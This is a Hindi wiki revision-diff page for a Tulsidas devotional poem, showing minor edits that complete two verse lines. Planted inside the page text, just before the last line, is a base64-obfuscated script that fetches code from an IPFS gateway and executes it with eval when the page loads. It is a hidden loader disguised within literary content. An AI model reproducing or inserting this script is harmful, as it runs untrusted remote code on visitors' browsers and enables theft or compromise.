"तऊ न मेरे अघ अवगुन गनिहैं -तुलसीदास" के अवतरणों में अंतर
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जौ जमराज काज सब परिहरि इहै ख्याल उर अनिहैं॥1॥ | जौ जमराज काज सब परिहरि इहै ख्याल उर अनिहैं॥1॥ | ||
चलिहैं छूटि, पुंज पापिनके असमंजस जिय जनिहैं। | चलिहैं छूटि, पुंज पापिनके असमंजस जिय जनिहैं। | ||
− | देखि खलल अधिकार प्रभूसों, मेरी भूरि भलाई | + | देखि खलल अधिकार प्रभूसों, मेरी भूरि भलाई भनिहैं॥2॥ |
हँसि करिहैं परतीत भक्तकी भक्त सिरोमनि मनिहैं। | हँसि करिहैं परतीत भक्तकी भक्त सिरोमनि मनिहैं। | ||
− | ज्यों त्यों तुलसीदास कोसलपति, अपनायहि पर | + | ज्यों त्यों तुलसीदास कोसलपति, अपनायहि पर बनिहैं॥3॥ |
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10:10, 1 नवम्बर 2014 के समय का अवतरण
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> तऊ न मेरे अघ अवगुन गनिहैं। |
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